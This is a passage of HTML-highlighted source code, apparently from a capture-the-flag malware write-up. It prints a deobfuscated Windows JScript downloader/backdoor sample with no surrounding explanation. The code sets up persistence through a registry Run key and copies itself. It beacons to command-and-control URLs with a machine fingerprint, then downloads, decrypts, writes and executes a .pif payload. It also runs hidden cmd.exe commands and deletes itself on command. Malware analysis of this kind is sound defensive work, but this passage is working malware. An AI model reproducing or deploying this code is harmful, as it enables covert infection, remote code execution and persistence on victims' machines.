punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">10</span> <span class=\"token operator\">+</span> <span class=\"token number\">25</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> name <span class=\"token operator\">=</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">+</span> <span class=\"token number\">65</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> JKfG <span class=\"token operator\">=</span> WScript<span class=\"token punctuation\">.</span><span class=\"token function\">CreateObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"WScript.Network\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    Vxiu <span class=\"token operator\">=</span> JKfG<span class=\"token punctuation\">.</span>UserName<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> count <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> count <span class=\"token operator\">&lt;</span> YrUH<span class=\"token punctuation\">;</span> count<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">case</span> <span class=\"token number\">1</span><span class=\"token operator\">:</span>\n                name <span class=\"token operator\">=</span> name <span class=\"token operator\">+</span> Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">case</span> <span class=\"token number\">2</span><span class=\"token operator\">:</span>\n                name <span class=\"token operator\">=</span> name <span class=\"token operator\">+</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">+</span> <span class=\"token number\">97</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">default</span><span class=\"token operator\">:</span>\n                name <span class=\"token operator\">=</span> name <span class=\"token operator\">+</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">24</span> <span class=\"token operator\">+</span> <span class=\"token number\">65</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> name<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token keyword\">var</span> icVh <span class=\"token operator\">=</span> <span class=\"token function\">Jp6A</span><span class=\"token punctuation\">(</span><span class=\"token constant\">HAP5</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> <span class=\"token constant\">CJPE</span> <span class=\"token operator\">=</span> <span class=\"token constant\">HAP5</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">W6cM</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">Syrl</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Quit</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">Syrl</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> m2n0 <span class=\"token operator\">=</span> <span class=\"token function\">xhOC</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span><span class=\"token boolean\">true</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> WQuh<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">var</span> bx_4 <span class=\"token operator\">=</span> WQuh<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">var</span> czlA <span class=\"token operator\">=</span> <span class=\"token function\">V9iU</span><span class=\"token punctuation\">(</span>bx_4<span class=\"token punctuation\">,</span> m2n0<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token keyword\">switch</span> <span class=\"token punctuation\">(</span>czlA<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">case</span> <span class=\"token string\">\"good\"</span><span class=\"token operator\">:</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token string\">\"exit\"</span><span class=\"token operator\">:</span>\n                    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Quit</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token string\">\"work\"</span><span class=\"token operator\">:</span>\n                    <span class=\"token function\">eRNv</span><span class=\"token punctuation\">(</span>bx_4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">case</span> <span class=\"token string\">\"fail\"</span><span class=\"token operator\">:</span>\n                    <span class=\"token constant\">I7UO</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n                <span class=\"token keyword\">default</span><span class=\"token operator\">:</span>\n                    <span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span>\n            <span class=\"token function\">a0rV</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Sleep</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">300</span> <span class=\"token operator\">+</span> <span class=\"token number\">3600</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">1e3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token constant\">HAP5</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> zkDC <span class=\"token operator\">=</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">[</span><span class=\"token string\">\"ActiveXObject\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> jVNP <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">zkDC</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"WScript.Shell\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> jVNP<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">eRNv</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">caA2</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> jpVh <span class=\"token operator\">=</span> icVh <span class=\"token operator\">+</span> EBKd<span class=\"token punctuation\">.</span><span class=\"token function\">substring</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> EBKd<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"pif\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> <span class=\"token constant\">S47T</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ActiveXObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"MSXML2.XMLHTTP\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">OPEN</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"post\"</span><span class=\"token punctuation\">,</span> caA2<span class=\"token punctuation\">,</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"user-agent:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Mozilla/5.0 (Windows NT 6.1; Win64; x64); \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">he50</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-type:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"application/octet-stream\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token function\">SETREQUESwTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-length:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"4\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"Cookie:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"flag=SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SEND</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"work\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">FILEEXISTS</span><span class=\"token punctuation\">(</span>jpVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">DELETEFILE</span><span class=\"token punctuation\">(</span>jpVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">STATUS</span> <span class=\"token operator\">==</span> <span class=\"token number\">200</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> gfjd <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ActiveXObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"ADODB.STREAM\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span><span class=\"token constant\">TYPE</span> <span class=\"token operator\">=</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span><span class=\"token constant\">OPEN</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span><span class=\"token constant\">WRITE</span><span class=\"token punctuation\">(</span><span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span>responseBody<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span>Position <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span>Type <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span>CharSet <span class=\"token operator\">=</span> <span class=\"token string\">\"437\"</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">var</span> j3k6 <span class=\"token operator\">=</span> gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">ReadText</span><span class=\"token punctuation\">(</span>gfjd<span class=\"token punctuation\">.</span>Size<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">var</span> <span class=\"token constant\">RAKT</span> <span class=\"token operator\">=</span> <span class=\"token function\">t7Nl</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"2f532d6baec3d0ec7b1f98aed4774843\"</span><span class=\"token punctuation\">,</span> <span class=\"token function\">l9BJ</span><span class=\"token punctuation\">(</span>j3k6<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token function\">Trql</span><span class=\"token punctuation\">(</span><span class=\"token constant\">RAKT</span><span class=\"token punctuation\">,</span> jpVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        gfjd<span class=\"token punctuation\">.</span><span class=\"token function\">Close</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">var</span> lDd9 <span class=\"token operator\">=</span> <span class=\"token function\">a0rV</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token function\">nr3z</span><span class=\"token punctuation\">(</span>jpVh<span class=\"token punctuation\">,</span> caA2<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Sleep</span><span class=\"token punctuation\">(</span><span class=\"token number\">3e4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">DELETEFILE</span><span class=\"token punctuation\">(</span>jpVh<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token constant\">I7UO</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">DELETEFILE</span><span class=\"token punctuation\">(</span>WScript<span class=\"token punctuation\">.</span><span class=\"token constant\">SCRIPTFULLNAME</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">CJPE</span><span class=\"token punctuation\">.</span><span class=\"token constant\">REGDELETE</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"HKEY_CURRENT_USER\\\\\\\\software\\\\\\\\microsoft\\\\\\\\windows\\\\\\\\currentversion\\\\\\\\run\\\\\\\\\"</span> <span class=\"token operator\">+</span> EBKd<span class=\"token punctuation\">.</span><span class=\"token function\">substring</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> EBKd<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Quit</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">V9iU</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">pxug<span class=\"token punctuation\">,</span> tqDX</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> <span class=\"token constant\">S47T</span> <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">ActiveXObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"MSXML2.XMLHTTP\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">OPEN</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"post\"</span><span class=\"token punctuation\">,</span> pxug<span class=\"token punctuation\">,</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"user-agent:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"Mozilla/5.0 (Windows NT 6.1; Win64; x64); \"</span> <span class=\"token operator\">+</span> <span class=\"token function\">he50</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-type:\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"application/octet-stream\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">var</span> SoNI <span class=\"token operator\">=</span> <span class=\"token function\">DGbq</span><span class=\"token punctuation\">(</span>tqDX<span class=\"token punctuation\">,</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SETREQUESTHEADER</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"content-length:\"</span><span class=\"token punctuation\">,</span> SoNI<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span><span class=\"token constant\">SEND</span><span class=\"token punctuation\">(</span>SoNI<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">return</span> <span class=\"token constant\">S47T</span><span class=\"token punctuation\">.</span>responseText<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">function</span> <span class=\"token function\">he50</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> wXgO <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> JKfG <span class=\"token operator\">=</span> WScript<span class=\"token punctuation\">.</span><span class=\"token function\">CreateObject</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"WScript.Network\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> SoNI <span class=\"token operator\">=</span> zIRF <span class=\"token operator\">+</span> JKfG<span class=\"token punctuation\">.</span>ComputerName <span class=\"token operator\">+</span> Vxiu<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> <span class=\"token number\">16</span><span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> DXHy <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>\n        <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> j <span class=\"token operator\">=</span> i<span class=\"token punctuation\">;</span> j <span class=\"token operator\">&lt;</span> SoNI<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> j<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            DXHy <span class=\"token operator\">=</span> DXHy <span class=\"token operator\">^</span> SoNI<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>j<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        <span class=\"token punctuation\">}</span>\n        DXHy <span class=\"token operator\">=</span> DXHy <span class=\"token operator\">%</span> <span class=\"token number\">10</span><span class=\"token punctuation\">;</span>\n        wXgO <span class=\"token operator\">=</span> wXgO <span class=\"token operator\">+</span> DXHy<span class=\"token punctuation\">.</span><span class=\"token function\">toString</span><span class=\"token punctuation\">(</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    wXgO <span class=\"token operator\">=</span> wXgO <span class=\"token operator\">+</span> zIRF<span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">return</span> wXgO<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">W6cM</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    v_FileName <span class=\"token operator\">=</span> icVh <span class=\"token operator\">+</span> EBKd<span class=\"token punctuation\">.</span><span class=\"token function\">substring</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> EBKd<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\"js\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">Z6HQ</span><span class=\"token punctuation\">.</span><span class=\"token constant\">COPYFILE</span><span class=\"token punctuation\">(</span>WScript<span class=\"token punctuation\">.</span>ScriptFullName<span class=\"token punctuation\">,</span> icVh <span class=\"token operator\">+</span> EBKd<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">var</span> zIqu <span class=\"token operator\">=</span> <span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">150</span> <span class=\"token operator\">+</span> <span class=\"token number\">350</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">1e3</span><span class=\"token punctuation\">;</span>\n    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Sleep</span><span class=\"token punctuation\">(</span>zIqu<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token constant\">CJPE</span><span class=\"token punctuation\">.</span><span class=\"token constant\">REGWRITE</span><span class=\"token punctuation\">(</span>\n        <span class=\"token string\">\"HKEY_CURRENT_USER\\\\\\\\software\\\\\\\\microsoft\\\\\\\\windows\\\\\\\\currentversion\\\\\\\\run\\\\\\\\\"</span> <span class=\"token operator\">+</span> EBKd<span class=\"token punctuation\">.</span><span class=\"token function\">substring</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> EBKd<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n        <span class=\"token string\">\"wscript.exe //B \"</span> <span class=\"token operator\">+</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span><span class=\"token number\">34</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> icVh <span class=\"token operator\">+</span> EBKd <span class=\"token operator\">+</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span><span class=\"token number\">34</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token string\">\" NPEfpRZ4aqnh1YuGwQd0\"</span><span class=\"token punctuation\">,</span>\n        <span class=\"token string\">\"REG_SZ\"</span>\n    <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">xhOC</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> U5rJ <span class=\"token operator\">=</span> icVh <span class=\"token operator\">+</span> <span class=\"token string\">\"~dat.tmp\"</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> LwHA<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token constant\">CJPE</span><span class=\"token punctuation\">.</span><span class=\"token function\">Run</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"cmd.exe /c \"</span> <span class=\"token operator\">+</span> LwHA<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> <span class=\"token string\">'\"'</span> <span class=\"token operator\">+</span> U5rJ <span class=\"token operator\">+</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token boolean\">true</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">var</span> jxHd <span class=\"token operator\">=</span> <span class=\"token constant\">S7EN</span><span class=\"token punctuation\">(</span>U5rJ<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    WScript<span class=\"token punctuation\">.</span><span class=\"token function\">Sleep</span><span class=\"token 